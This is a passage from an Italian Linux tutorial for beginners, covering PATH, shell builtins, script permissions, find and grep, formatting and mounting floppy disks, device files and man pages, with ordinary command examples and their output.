Tuttavia, spesso non si sa precisamente dove sia collocato questo o quel programma eseguibile, ma di solito è possibile avviarlo ugualmente lasciando che sia il sistema stesso a trovarlo automaticamente:

$ **uname -a** [*Invio*]

```
Linux dinkel 2.2.15 #1 Thu Aug 31 15:55:32 CEST 2000 i586 unknown
```

Questo automatismo dipende dalla configurazione della variabile di ambiente ***PATH***, la quale serve a elencare i percorsi degli eseguibili:

$ **echo $PATH** [*Invio*]

```
/usr/local/bin:/usr/bin:/bin:/usr/bin/X11
```

I percorsi elencati, separati dai due punti verticali, rappresentano le directory in cui vengono cercati i file eseguibili quando per questi non è stato specificato il percorso (l'elenco del proprio sistema potrebbe essere molto più lungo).

Generalmente, nel percorso di avvio degli eseguibili è esclusa la directory corrente, che dovrebbe essere rappresentata con un punto singolo, '`.`'; per verificare questa cosa, si può copiare un programma noto nella propria directory personale.

$ **cd** [*Invio*]

$ **cp /bin/uname ./mio_uname** [*Invio*]

A questo punto, nella propria directory personale è stato copiato il programma '**uname**', chiamato localmente '**mio_uname**'. Si può verificare che sia ancora in grado di funzionare:

$ **./mio_uname -a** [*Invio*]

```
Linux dinkel 2.2.15 #1 Thu Aug 31 15:55:32 CEST 2000 i586 unknown
```

Tuttavia, non è possibile avviare il programma senza specificare il percorso:

$ **mio_uname -a** [*Invio*]

```
bash: mio_uname: command not found
```

Esiste un buon motivo per evitare di avviare automaticamente i programmi esistenti nella directory corrente; tuttavia, sarebbe facile includere questa possibilità modificando il contenuto della variabile ***PATH***:

$ **export PATH="$PATH:."** [*Invio*]

$ **echo $PATH** [*Invio*]

```
/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:.
```

A questo punto il programma '**mio_uname**' si può avviare automaticamente senza specificare il percorso:

$ **mio_uname -a** [*Invio*]

```
Linux dinkel 2.2.15 #1 Thu Aug 31 15:55:32 CEST 2000 i586 unknown
```

Nell'ambito dei percorsi di ricerca elencati nella variabile di ambiente ***PATH***, ci potrebbero essere più programmi diversi con lo stesso nome. Per sapere quale di questi viene avviato per primo, basta verificare con '**which**':

$ **which uname** [*Invio*]

```
/bin/uname
```

$ **which mio_uname** [*Invio*]

```
./mio_uname
```

Volendo modificare il nome della propria copia locale del programma, usando lo stesso nome originale, si può verificare quale dei due venga messo in funzione effettivamente, in mancanza dell'indicazione di un percorso:

$ **mv mio_uname uname** [*Invio*]

$ **which uname** [*Invio*]

```
/bin/uname
```

Se si modifica l'ordine dei percorsi di ricerca nella variabile di ambiente ***PATH***, si può invertire il risultato. In tal caso si aggiunge la directory corrente all'inizio dell'elenco, restando anche l'indicazione finale che comunque è inutile:

$ **export PATH=".:$PATH"** [*Invio*]

$ **echo $PATH** [*Invio*]

```
.:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:.
```

$ **which uname** [*Invio*]

```
./uname
```

4.12.2 Comandi interni di shell

Non sempre ciò che si avvia è un programma eseguibile; potrebbe essere un comando interno della shell. Per esempio, nel caso della shell Bash, si può usare il comando '**`help`**' per ottenere un elenco completo di questi:

$ **`help`** [*Invio*]

```
GNU bash, version 2.05b.0(1)-release (i386-pc-linux-gnu)
These shell commands are defined internally.  Type 'help' to see this list.
Type 'help name' to find out more about the function 'name'.
Use 'info bash' to find out more about the shell in general.
Use 'man -k' or 'info' to find out more about commands not in this list.

A star (*) next to a name means that the command is disabled.

 %[DIGITS | WORD] [&]               (( expression ))
 . filename                         :
 [ arg... ]                         [[ expression ]]
 alias [-p] [name[=value] ... ]     bg [job_spec]
 bind [-lpvsPVS] [-m keymap] [-f fi break [n]
 builtin [shell-builtin [arg ...]]  case WORD in [PATTERN [| PATTERN].
 cd [-L|-P] [dir]                   command [-pVv] command [arg ...]
 compgen [-abcdefgjksuv] [-o option complete [-abcdefgjksuv] [-pr] [-o
 continue [n]                       declare [-afFirtx] [-p] name[=valu
 dirs [-clpv] [+N] [-N]             disown [-h] [-ar] [jobspec ...]
 echo [-neE] [arg ...]              enable [-pnds] [-a] [-f filename]
 eval [arg ...]                     exec [-cl] [-a name] file [redirec
 exit [n]                           export [-nf] [name[=value] ...] or
 false                              fc [-e ename] [-nlr] [first] [last
 fg [job_spec]                      for NAME [in WORDS ... ;] do COMMA
 for (( exp1; exp2; exp3 )); do COM function NAME { COMMANDS ; } or NA
 getopts optstring name [arg]       hash [-lr] [-p pathname] [-dt] [na
 help [-s] [pattern ...]            history [-c] [-d offset] [n] or hi
 if COMMANDS; then COMMANDS; [ elif jobs [-lnprs] [jobspec ...] or job
 kill [-s sigspec | -n signum | -si let arg [arg ...]
 local name[=value] ...             logout
 popd [+N | -N] [-n]                printf format [arguments]
 pushd [dir | +N | -N] [-n]         pwd [-PL]
 read [-ers] [-u fd] [-t timeout] [ readonly [-anf] [name[=value] ...]
 return [n]                         select NAME [in WORDS ... ;] do CO
 set [--abefhkmnptuvxBCHP] [-o opti shift [n]
 shopt [-pqsu] [-o long-option] opt source filename
 suspend [-f]                       test [expr]
 time [-p] PIPELINE                 times
 trap [arg] [signal_spec ...] or tr true
 type [-afptP] name [name ...]      typeset [-afFirtx] [-p] name[=valu
 ulimit [-SHacdflmnpstuv] [limit]   umask [-p] [-S] [mode]
 unalias [-a] [name ...]            unset [-f] [-v] [name ...]
 until COMMANDS; do COMMANDS; done  variables - Some variable names an
 wait [n]                           while COMMANDS; do COMMANDS; done
```

```
{ COMMANDS ; }
```

Dal momento che un sistema ben equipaggiato deve poter consentire l'uso di shell differenti, si affiancano spesso dei programmi eseguibili equivalenti a comandi interni di shell già disponibili. Per esempio, può esistere il programma '**echo**', benché la shell Bash lo fornisca come comando interno.

$ **help echo** [*Invio*]

```
echo: echo [-neE] [arg ...]
    Output the ARGs.  If -n is specified, the trailing newline is
    suppressed.  If the -e option is given, interpretation of the
    following backslash-escaped characters is turned on:
        \a      alert (bell)
        \b      backspace
        \c      suppress trailing newline
        \E      escape character
        \f      form feed
        \n      new line
        \r      carriage return
        \t      horizontal tab
        \v      vertical tab
        \\      backslash
        \num    the character whose ASCII code is NUM (octal).

    You can explicitly turn off the interpretation of the above characters
    with the -E option.
```

Quello che si vede è la sintassi del comando interno '**echo**', mentre il programma '**echo**' può essere leggermente differente:

$ **/bin/echo --help** [*Invio*]

```
Usage: /bin/echo [OPTION]... [STRING]...
Echo the STRING(s) to standard output.

  -n              do not output the trailing newline
  -e              enable interpretation of the backslash-escaped characters
                    listed below
  -E              disable interpretation of those sequences in STRINGs
      --help      display this help and exit (should be alone)
      --version   output version information and exit (should be alone)

Without -E, the following sequences are recognized and interpolated:

  \NNN   the character whose ASCII code is NNN (octal)
  \\     backslash
  \a     alert (BEL)
  \b     backspace
  \c     suppress trailing newline
  \f     form feed
```

```
  \n     new line
  \r     carriage return
  \t     horizontal tab
  \v     vertical tab

Report bugs to <bug-sh-utils@gnu.org>.
```

4.12.3 Script e permessi di esecuzione

In un sistema Unix è facile realizzare dei programmi elementari in forma di raccolta di comandi, ovvero in forma di script di shell. Si può provare a realizzare il file '`mio_script`' nella directory corrente con il contenuto seguente:

```
#!/bin/sh
echo Ciao a tutti!
```

Si tratta di un file di testo che si può costruire facilmente con VI. Se questo file viene salvato con il nome previsto, ovvero '`mio_script`', ci si può aspettare di poterlo mettere in funzione con il comando seguente:

$ **./mio_script** [*Invio*]

```
bash: ./mio_script: Permission denied
```

Come si vede, lo script non viene avviato. Si può verificare che mancano i permessi necessari:

$ **ls -l mio_script** [*Invio*]

```
-rw-rw-r--    1 tizio    tizio          20 mar 24 10:54 mio_script
```

Ecco che basta aggiungere i permessi mancanti e tutto funziona regolarmente:

$ **chmod +x mio_script** [*Invio*]

$ **ls -l mio_script** [*Invio*]

```
-rwxrwxr-x    1 tizio    tizio          20 mar 24 10:54 mio_script
```

$ **./mio_script** [*Invio*]

```
Ciao a tutti!
```

4.12.4 Conclusione

Nei sistemi Unix si parla spesso di «comandi», in modo volutamente vago, per non dover specificare se si tratti di eseguibili veri e propri, o di comandi interni all'interprete (la shell).

Se si indica il nome di un comando senza specificare un percorso, si lascia fare la scelta all'interprete dei comandi, per cui viene cercato prima un comando interno, eventualmente un alias, quindi si cerca un file eseguibile nell'elenco dei percorsi contenuti nella variabile ***PATH***.

Quando si realizza un programma o uno script di shell, occorre ricordare di dare i permessi di esecuzione perché questo possa funzionare.

4.13 Ricerche

Le ricerche di file e directory sono molto importanti in presenza di un file system articolato come quello dei sistemi Unix.

4.13.1 Find

Le ricerche di file e directory in base al nome e altre caratteristiche esterne, vengono effettuate attraverso il comando '**find**'.

$ **find / -name bash -print** [*Invio*]

Questo comando esegue una ricerca per i file e le directory denominati 'bash' all'interno di tutte le directory che si articolano a partire dalla radice.

```
/bin/bash
...
find: /var/run/sudo: Permission denied
find: /var/spool/at: Permission denied
find: /var/spool/cron: Permission denied
...
```

Il file viene trovato, ma tutte le volte che '**find**' tenta di attraversare directory per cui non si ha il permesso, si ottiene una segnalazione di errore.

Le ricerche basate sul nome possono impiegare anche modelli con caratteri jolly, ma in tal caso deve essere '**find**' a gestirli e non la shell, di conseguenza si deve fare in modo che questa non intervenga.

$ **find / -name *sh -print** [*Invio*]

L'uso della barra obliqua inversa prima dell'asterisco permette di evitare che la shell tenti di interpretarlo come carattere jolly. Alla fine, '**find**' riceve l'argomento corretto, senza barra davanti all'asterisco.

```
/bin/bash
/bin/ash
/bin/sh
...
```

4.13.2 Grep

Per le ricerche all'interno dei file si utilizza '**grep**'.

$ **grep tizio /etc/*** [*Invio*]

```
/etc/group:tizio::500:tizio
/etc/passwd:tizio:Ide2ncPYY1234:500:500:Tizio Tizi:/home/tizio:/bin/bash
grep: /etc/skel: Is a directory
grep: /etc/sudoers: Permission denied
...
```

Il risultato che si ottiene dal comando di esempio, sono i nomi dei file contenenti la parola «tizio» e la riga in cui questo appare. Anche in questo caso si possono incontrare file per i quali non si hanno i permessi, o directory, per le quali l'uso di '**grep**' non ha alcun significato.

4.13.3 Conclusione

I comandi '**find**' e '**grep**' sono fondamentali per le ricerche di file con i sistemi Unix. Questi due possono essere anche combinati insieme in modo da definire una ricerca in base a caratteristiche esterne e interne ai file. L'argomento viene trattato nel capitolo 26.

4.14 Memoria di massa e file system con i dischetti

La gestione delle memorie di massa nei sistemi Unix appare piuttosto laboriosa per chi si avvicina la prima volta alla sua filosofia. La sezione 3.3 introduce l'argomento.

Nel capitolo si fa riferimento a dischetti, ammesso che se ne abbia ancora la disponibilità. Per questi esercizi i dischetti non devono essere protetti contro la scrittura.

Dal momento che i dischetti sono praticamente scomparsi, questo capitolo può essere solo letto, cercando di comprendere gli esempi. Non viene mostrato un capitolo basato su unità di memorizzazione comuni, perché sarebbe facile inizializzare erroneamente un disco fisso o comunque qualcosa di importante, dato che i file di dispositivo usati per dischi fissi SATA, le unità di memoria solida e i dischi SCSI, sono dello stesso gruppo.

4.14.1 Inizializzazione a basso livello

L'inizializzazione o formattazione di un'unità di memorizzazione di massa, potrebbe richiedere due fasi. Nel caso di unità a disco, secondo la tecnologia degli anni 1980, si richiede un primo processo di inizializzazione in cui si predispongono le tracce e i settori; in tutti gli altri casi, è sufficiente la sola predisposizione di un file system. La prima fase di inizializzazione è detta anche «inizializzazione a basso livello» e può riguardare soltanto i dischetti usati fino agli anni 1990.

Prima di procedere occorre ottenere i privilegi dell'utente '**root**'.

$ **su** [*Invio*]

Password: **ameba** [*Invio*]

Prima di procedere con l'inizializzazione a basso livello si deve verificare il nome del file di dispositivo utilizzato nel proprio sistema, infatti ci possono essere differenze sotto questo aspetto da un'installazione all'altra. Si presume di potere utilizzare dischetti da 3,5 pollici (9 cm) con un formato di 1440 Kibyte.

Si procede con l'inizializzazione a basso livello del dischetto su un sistema GNU/Linux, nel quale si utilizza il file di dispositivo '`/dev/fd0`' per questo:

`# fdformat /dev/fd0` [*Invio*]

```
Double-sided, 80 tracks, 18 sec/track. Total capacity 1440 kB.
Formatting ... done
Verifying ... done
```

Se non esiste il programma eseguibile '**`fdformat`**', dovrebbe essere presente al suo posto '**`superformat`**', che può essere usato nello stesso modo, anche se i messaggi che genera sono differenti.

Se questo è l'esito che si ottiene, il dischetto è stato inizializzato con successo. Prima di procedere oltre è necessario preparare altri due dischetti.

4.14.2 Predisposizione del file system

I dischetti inizializzati a basso livello non sono ancora adatti a contenere dati in forma di directory e file: occorre creare un file system (lo stesso varrebbe per altri tipi di unità di memorizzazione di massa, con la differenza che l'inizializzazione a basso livello non esiste oppure è già fatta e non può essere modificata). Il comando seguente riguarda un sistema GNU/Linux:

`# mkfs.msdos /dev/fd0` [*Invio*]

```
mkfs.msdos 2.9 (15 May 2003)
```

In questo modo è stato creato un file system di tipo Dos-FAT nel dischetto inizializzato precedentemente a basso livello. Il messaggio che si ottiene può variare da un'installazione di GNU/Linux a un'altra, ma questo non è molto importante.

Dopo avere sostituito il dischetto si esegue il comando seguente allo scopo di creare un file system Minix.

`# mkfs.minix -n 14 /dev/fd0` [*Invio*]

```
480 inodes
1440 blocks
Firstdatazone=19 (19)
Zonesize=1024
Maxsize=268966912
```

Dopo avere sostituito il dischetto si esegue il comando seguente allo scopo di creare un file system Ext2. Si osservi che in un dischetto non è possibile creare le estensioni relative al formato Ext3, per mancanza di spazio.

mkfs.ext2 /dev/fd0 [*Invio*]

```
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
184 inodes, 1440 blocks
72 blocks (5.00%) reserved for the super user
First data block=1
1 block group
8192 blocks per group, 8192 fragments per group
184 inodes per group

Writing inode tables: done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 33 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
```

Per proseguire l'esercizio si devono distinguere i tre dischetti appena preparati, in modo da sapere riconoscere quale utilizza il file system Dos, quale quello Minix e quale quello Ext2.

4.14.3 Innestare e staccare i dischetti

Nei sistemi Unix e derivati, per poter accedere a un'unità di memorizzazione occorre che il file system di questa sia ***innestato*** («montato») in quello globale. Non si può indicare semplicemente una directory o un file di un certo dispositivo. L'innesto è l'operazione con cui si inserisce il file system di un'unità di memorizzazione in corrispondenza di una directory del file system già attivo. La directory che si utilizza generalmente per innestare provvisoriamente le unità esterne è '`/mnt/`' (ma in molti casi si usa una struttura più articolata, discendente dalla directory '`/mnt/`' stessa). Gli esempi di questa sezione si riferiscono a un sistema GNU/Linux.

Si procede inserendo il dischetto inizializzato con il formato Ext2 e innestandolo nella directory '`/mnt/`'.

mount -t ext2 /dev/fd0 /mnt [*Invio*]

Da questo momento, la directory '`/mnt/`' è l'inizio del dischetto.

touch /mnt/super.ultra.mega.macro [*Invio*]

Con il comando appena visto, si vuole creare un file vuoto con un nome piuttosto lungo. Volendo si possono copiare dei file nel dischetto.

cp /bin/bash /mnt [*Invio*]

Solitamente, l'invito della shell torna a disposizione prima che le operazioni di scrittura siano state completate, a causa della presenza di una «memoria trattenuta», o più precisamente di una memoria cache. Anche per questo motivo, il dischetto non può essere estratto semplicemente alla fine delle operazioni che con questo si vogliono svolgere.

Finché il dischetto risulta innestato, si può trattare come parte del file system globale.

ls -l /mnt [*Invio*]

```
total 418
-rwxr-xr-x   1 root   root  412516 Dec 28 13:10 bash
drwxr-xr-x   2 root   root   12288 Dec 28 12:37 lost+found
-rw-r--r--   1 root   root       0 Dec 28 13:05 super.ultra.mega.macro
```

Si può osservare che il dischetto contiene il file creato all'inizio, l'eseguibile '**bash**' copiato in precedenza e una directory particolare: 'lost+found/'. Questa viene creata automaticamente assieme al file system Ext2. Generalmente può essere cancellata se la sua presenza infastidisce. In un certo senso, la presenza di questa directory è utile per scorgere l'inizio di un file system innestato in quel punto particolare.

Si procede sostituendo il dischetto con quello contenente un file system Minix. Per fare questo occorre prima staccare il dischetto inserito attualmente e quindi innestare il secondo.

umount /mnt [*Invio*]

A questo punto, al ritorno dell'invito della shell, si possono sostituire i dischetti.

mount -t minix /dev/fd0 /mnt [*Invio*]

Per esercizio, si fanno le stesse operazioni di prima.

touch /mnt/super.ultra.mega.macro [*Invio*]

cp /bin/bash /mnt [*Invio*]

ls -l /mnt [*Invio*]

```
total 404
-rwxr-xr-x   1 root   root  412516 Dec 28 13:31 bash
-rw-r--r--   1 root   root       0 Dec 28 13:31 super.ultra.me
```

Come si può osservare, il file system Minix (precisamente si tratta di Minix 1) non prevede la presenza della directory 'lost+found/' e consente l'uso di nomi con un massimo di 14 caratteri.

umount /mnt [*Invio*]

A questo punto si ripetono le stesse cose con il dischetto Dos-FAT.

mount -t msdos /dev/fd0 /mnt [*Invio*]

touch /mnt/super.ultra.mega.macro [*Invio*]

cp /bin/bash /mnt [*Invio*]

ls -l /mnt [*Invio*]

```
total 403
-rwxr-xr-x   1 root     root       412516 Dec 28 14:02 bash
-rwxr-xr-x   1 root     root            0 Dec 28 14:01 super.ult
```

Trattandosi di un dischetto con un file system Dos-FAT, le cose non sono andate come in precedenza. Prima di tutto, i permessi dei file non corrispondono agli esempi già visti: in pratica, tutti i file hanno gli stessi permessi. L'utente proprietario di tutti i file è '**root**' essendo stato lui a innestare il dischetto. I nomi dei file vengono troncati.

Volendo utilizzare un dischetto Dos-FAT per memorizzare nomi lunghi, nello stesso modo in cui fa MS-Windows lo si può innestare facendo riferimento al tipo di file system '**vfat**', mentre l'inizializzazione del dischetto avviene sempre nello stesso modo.

Prima di concludere l'esercizio, si stacca il dischetto.

umount /mnt [*Invio*]

È il caso di ricordare che non è possibile staccare un disco se prima non è terminata l'attività con questo. Per cui, se la directory corrente è posizionata su una directory appartenente al file system del disco che si vuole staccare, non si riesce a eseguire l'operazione di distacco.

4.14.4 Conclusione

La gestione delle unità di memorizzazione può sembrare complicata fino a che non se ne comprende la logica. La cosa più importante da capire è che non si può accedere al contenuto di un disco o di altra unità di memorizzazione se prima questi non vengono innestati, così come non si può estrarre un disco o un'altra unità se prima non è stato eseguito il distacco.

Nel capitolo 21 vengono trattati questi argomenti.

È il caso di ricordare che l'esercizio è stato svolto operando come utente '**root**', per cui, prima di proseguire, è meglio ritornare allo stato normale.

exit [*Invio*]

4.15 Dispositivi

Nei sistemi Unix, i dispositivi sono manifestati da file speciali collocati nella directory '/dev/'. L'utilizzo diretto dei dispositivi è spesso un'operazione delicata, che può essere eseguita solo dall'utente '**root**'. Alcuni esercizi di questa sezione vanno svolti come utente '**root**' e in tal caso si può notare l'invito della shell, che negli esempi viene rappresentato dal cancelletto (il simbolo '**#**').

4.15.1 File «/dev/null»

Il file di dispositivo '/dev/null' corrisponde in lettura a un file vuoto e in scrittura a una sorta di buco senza fondo: tutto ciò che vi viene scritto è perduto. Questa particolarità è molto utile negli script in cui si vuole evitare che i comandi contenuti emettano segnalazioni all'utente.

$ **ls /bin > /dev/null** [*Invio*]

Il comando appena mostrato non emette nulla sullo schermo perché tutto viene ridiretto verso '/dev/null'. Si può verificare che in questo file non ci sia più alcuna traccia con il comando seguente:

```
$ cat /dev/null [Invio]
```

Non si ottiene alcun output.

4.15.2 Dispositivi di memorizzazione

La gestione diretta dei dispositivi di memorizzazione è un'operazione delicata e richiede i privilegi dell'utente '**root**'.

```
$ su [Invio]
```

```
Password: ameba [Invio]
```

I dispositivi di memorizzazione possono essere gestiti come se fossero dei file. In pratica, un dischetto da 1440 Kibyte può essere trattato come se fosse un file della stessa dimensione.

Nell'esercizio sulle unità di memorizzazione sono stati inizializzati alcuni dischetti e vi è stato copiato dentro qualcosa.

Si procede in modo da generare un file-immagine di un dischetto di quelli preparati in precedenza. Si inserisce uno di quei dischi.

```
# cp /dev/fd0 disco.img [Invio]
```

Il dischetto di cui è stata fatta la copia in un file-immagine non è stato innestato in precedenza e tuttora non risulta innestato.

```
# ls -l disco.img [Invio]
```

```
-rw-r-----   1 root     root      1474560 Dec 28 14:59 disco.img
```

Volendo eseguire la copia del dischetto a cui appartiene questa immagine, basta sostituirlo con un altro che sia già stato inizializzato a basso livello (con '**fdformat**' per esempio, o con un altro sistema operativo con gli strumenti che questo mette a disposizione) e quindi copiare il file-immagine sul file di dispositivo corrispondente al dischetto.

Si sostituisce il dischetto e si procede.

```
# cp disco.img /dev/fd0 [Invio]
```

Il dischetto che si ottiene contiene la copia identica di quello di partenza.

4.15.3 Conclusione

L'accesso diretto ai file di dispositivo è un metodo utilizzato particolarmente per la riproduzione di dischi (prevalentemente dischetti o unità di memorizzazione di capacità ridotta) in modo da conservare tutte le informazioni in essi contenuti. Questa tecnica viene usata specialmente per la trasmissione e la riproduzione di dischetti di sistemi operativi differenti, ed è normalmente ciò che si faceva quando, a partire dal Dos, si dovevano preparare i primi dischetti di installazione di GNU/Linux.

[1] Si fa riferimento sempre solo a «comandi», perché in questa fase del documento, rivolta ai principianti, è opportuno evitare di complicare troppo le cose, creando poi della confusione. Sempre in questo senso va vista l'intera filosofia della parte.

[2] È il caso di ricordare che, durante il funzionamento del sistema grafico, per tornare a una console virtuale non è sufficiente la combinazione [*Alt Fn*], ma serve invece la combinazione [*Ctrl Alt Fn*].

[3] In tal caso si tratta necessariamente di un percorso relativo

[4] Negli esempi che si vedono si presume di poter entrare nella directory personale di un altro utente. Tuttavia, tale possibilità dipende dai permessi che questo gli attribuisce.

[5] La combinazione di tasti [*Ctrl d*] termina l'inserimento di un testo se ciò viene fatto dopo aver concluso l'ultima riga, premendo [*Invio*], diversamente, la combinazione [*Ctrl d*] deve essere premuta due volte di seguito.

[6] Per la precisione, sarebbe più opportuno l'uso del comando '**`echo`**', che però non è ancora stato mostrato.

Trovare le informazioni necessarie

5.1 Testo puro 159

5.1.1 Variabile di ambiente «LESSCHARSET» 161

5.2 Pagine di guida 161

5.2.1 Collocazione fisica e convenzioni nazionali 162

5.2.2 File di configurazione 163

5.2.3 Utilizzo dei programmi per accedere alle pagine di manuale 164

5.3 Info 166

5.3.1 Utilizzo del sistema attraverso l'eseguibile info 166

5.4 Documentazione allegata ai pacchetti applicativi 170

5.5 HOWTO 170

5.6 FAQ 170

5.7 LDP 170

5.8 Altra documentazione 171

5.9 Ricerche tra i documenti in linea 171

5.10 Ricerche nel passato 175

5.11 Ricerche geografiche 176

5.12 Riferimenti 178

Nessun libro è completo e nessuno sa tutto. Sulla base di questo principio, occorre sapersi organizzare per cercare le informazioni che servono, quando se ne manifesta il bisogno. Sui sistemi Unix esistono diverse fonti di documentazione; la maggior parte di questa è normalmente disponibile all'interno delle distribuzioni, ma la consultazione può risultare un problema per chi non ha esperienza. Inoltre esiste Internet che può essere utilizzata come un'immensa biblioteca; ma per poterla sfruttare, bisogna conoscere l'uso dei servizi principali di ricerca che sono disponibili.

5.1 Testo puro

Il modo più semplice con cui può essere stato scritto qualcosa è quello del testo puro. Questo è il caso dei file «leggimi» (*readme*) e simili, oppure di tutta quella documentazione che, per semplicità, è stata convertita anche in tale formato.

La lettura di questi file può essere fatta attraverso due programmi ben conosciuti: '**`more`**' oppure '**`less`**'. Il programma '**`more`**' è quello tradizionalmente più diffuso negli ambienti Unix; '**`less`**' è il più pratico ed è decisamente più ricco di piccoli accorgimenti. Le funzionalità

essenziali di questi due programmi sono simili, anche se il secondo offrirebbe un gran numero di funzioni aggiuntive che qui non vengono considerate.

La sintassi di questi due programmi è la seguente:

```
more [opzioni] [file]...
```

```
less [opzioni] [file]...
```

Nell'utilizzo normale non vengono fornite opzioni e se non si indicano file negli argomenti, si ottiene lo scorrimento di quanto proviene dallo standard input:

```
more [opzioni] < [file]
```

```
less [opzioni] < [file]
```

Una volta avviato uno di questi due programmi, lo scorrimento del testo dei file da visualizzare avviene per mezzo di comandi impartiti attraverso la pressione di tasti. Il meccanismo è simile a quello utilizzato da VI: alcuni comandi richiedono semplicemente la pressione di uno o più tasti in sequenza; altri richiedono un argomento e, in questo caso, la digitazione appare nell'ultima riga dello schermo o della finestra a disposizione. La tabella 5.1 mostra l'elenco dei comandi comuni ed essenziali di questi due programmi.

Tabella 5.1. Elenco dei comandi comuni ed essenziali di '**`more`**' e '**`less`**'.[1]

Comando	Descrizione
[*h*]	Richiama una breve guida dei comandi disponibili.
[*H*]	Come [*h*].
[*barra-spaziatrice*]	Scorre il testo in avanti di una schermata.
[*Invio*]	Scorre il testo in avanti di una riga alla volta.
[*b*]	Quando possibile, scorre il testo all'indietro di una schermata.
[/]***modello***[*Invio*]	Esegue una ricerca in avanti, in base all'espressione regolare indicata.
[*n*]	Ripete l'ultimo comando di ricerca.
[*Ctrl l*]	Ripete la visualizzazione della schermata attuale.
[*q*]	Termina l'esecuzione del programma.
[*Q*]	Come [*q*].

La differenza fondamentale tra questi due programmi sta nella possibilità da parte di '**`less`**' di scorrere il testo all'indietro anche quando questo proviene dallo standard input, mentre per '**`more`**' non è possibile. Inoltre '**`less`**' permette di utilizzare i tasti freccia e i tasti pagina per lo scorrimento del testo, consentendo anche di effettuare ricerche all'indietro. La tabella 5.2 mostra l'elenco di alcuni comandi aggiuntivi disponibili con '**`less`**'.

Tabella 5.2. Elenco di alcuni comandi particolari di '**less**'.

Comando	Descrizione
[*y*]	Scorre il testo all'indietro di una riga alla volta.
[*?*]***modello***[*Invio*]	Esegue una ricerca all'indietro, in base all'espressione regolare indicata.
[*N*]	Ripete l'ultimo comando di ricerca nella direzione inversa.

Il programma '**less**' permette un utilizzo molto più complesso di quanto descritto qui, ma questo va oltre l'uso che se ne fa normalmente. Segue la descrizione di alcuni esempi.

- $ **ls -l | more**[*Invio*]

  $ **ls -l | less**[*Invio*]

  Scorre sullo schermo l'elenco del contenuto della directory corrente che probabilmente è troppo lungo per essere visualizzato senza l'aiuto di uno tra questi due programmi.

- $ **more README**[*Invio*]

  $ **less README**[*Invio*]

  Scorre sullo schermo il contenuto del file 'README'.

5.1.1 Variabile di ambiente «LESSCHARSET»

Il programma '**less**' è sensibile al contenuto della variabile di ambiente ***LESSCHARSET***, che serve a specificare quale insieme di caratteri si utilizza per la visualizzazione. Tuttavia, di solito non è necessario impostare questa variabile, perché le informazioni necessarie a determinare quale insieme di caratteri utilizzare provengono da altre variabili di ambiente di uso più generalizzato.

Tabella 5.3. Alcune voci per la selezione dell'insieme di caratteri visualizzabile con '**less**', attraverso la variabile di ambiente ***LESSCHARSET***.

Valore	Descrizione
'**ascii**'	Identifica alcuni codici come caratteri di controllo; visualizza normalmente i caratteri che appartengono alla codifica ASCII; tutto il resto viene considerato come codice binario.
'**iso8859**', '**latin1**', '**latin9**'	Una di queste tre voci, indifferentemente, identifica una codifica ISO 8859 qualsiasi (dipende dalla configurazione del terminale la visualizzazione dei caratteri e quindi la scelta di mostrare questo o quello in abbinamento a un certo codice), ovvero una codifica a 8 bit completa.
'**utf-8**'	Utilizza la codifica UTF-8.

5.2 Pagine di guida

Secondo la filosofia dei sistemi Unix, tutti i programmi dovrebbero essere accompagnati da una ***pagina di manuale***, ovvero *man page*. Si tratta di un documento stringato sull'uso di quel programma particolare, scritto in uno stile abbastanza uniforme.

Si distinguono diverse sezioni di queste pagine di manuale, a seconda del genere di informazioni in esse contenute. Può infatti accadere che esistano più pagine con lo stesso nome,

appartenenti però a sezioni diverse. La tabella 5.4 riporta l'elenco di queste sezioni secondo la struttura usata comunemente nei sistemi Unix.

Tabella 5.4. Sezioni delle pagine di manuale nei sistemi Unix.

Sezione	Contenuto	Descrizione
1	comandi utente	Comandi (ovvero programmi) di uso comune a disposizione dell'utente.
2	chiamate di sistema	Funzioni messe a disposizione dal kernel ai programmi.
3	chiamate di libreria	Funzioni messe a disposizione da librerie esterne ai programmi.
4	dispositivi	File speciali che si trovano solitamente nella directory '`/dev/`'.
5	formati dei file	Sintassi dei file di configurazione.
6	giochi	
7	varie	Convenzioni e altre informazioni.
8	amministrazione	Comandi per l'amministrazione del sistema.
9	routine del kernel	Non standard

Quando si vuole fare riferimento a una pagina di manuale, se ne indica il nome seguito da un numero tra parentesi, che ne esprime la sezione. Per cui, *man(1)* indica la pagina di manuale di nome '**`man`**' nella prima sezione. Spesso, nella documentazione, si fa riferimento ai programmi in questo modo, per dare istantaneamente l'informazione di dove raggiungere le notizie che riguardano quel programma particolare.

Questa documentazione viene consultata normalmente attraverso il programma '**`man`**' che a sua volta, solitamente, si avvale di '**`less`**', oppure '**`more`**', per scorrere il documento. La tabella 5.1 mostra l'elenco dei comandi comuni essenziali di questi due programmi.

5.2.1 Collocazione fisica e convenzioni nazionali

Le pagine di manuale possono trovarsi in diverse posizioni all'interno del file system. Quelle elencate di seguito sono standard.

Posizione	Descrizione
'`/usr/share/man/`'	Questa è la collocazione principale delle pagine di manuale.
'`/usr/X11R6/man/`'	Raccoglie le pagine di manuale relative al sistema grafico X.
'`/usr/local/share/man/`'	È la posizione per le pagine di manuale dei programmi collocati dopo la directory '`/usr/local/`';
'`/opt/`***applicativo***`/man/`'	È la posizione per le pagine di manuale dei programmi applicativi aggiuntivi (*add-on*).

Queste directory sono tutte suddivise o suddivisibili nello stesso modo. Si intende indicare una qualsiasi di queste directory di partenza come ***mandir***.

La collocazione effettiva dei file che costituiscono le pagine di manuale è nelle directory esprimibili nella forma seguente:

mandir [/***locale***] `/man`***sezione*** [/***architettura***]

Ciò significa che, oltre alle directory '***mandir***`/`' già viste, esiste un'altra directory, '***locale***`/`', eventuale, che poi si scompone in diverse sottodirectory in funzione delle sezioni delle pagine di manuale esistenti (di solito da '`man1/`' a '`man9/`'), ognuna delle quali può articolarsi ulteriormente in funzione delle differenze tra un'architettura e l'altra.

La directory '***locale***`/`' è facoltativa, nel senso che spesso manca. Può essere utilizzata per distinguere tra le pagine di manuale di lingue diverse o di formati diversi. Il nome di questa directory è stabilito dallo standard POSIX 1003.1 secondo la sintassi seguente:

linguaggio [***_territorio***] [***.insieme_di_caratteri***] [***,versione***]

- ***linguaggio*** è una sigla di due caratteri minuscoli definiti dallo standard ISO 639 (tabella 14.4);
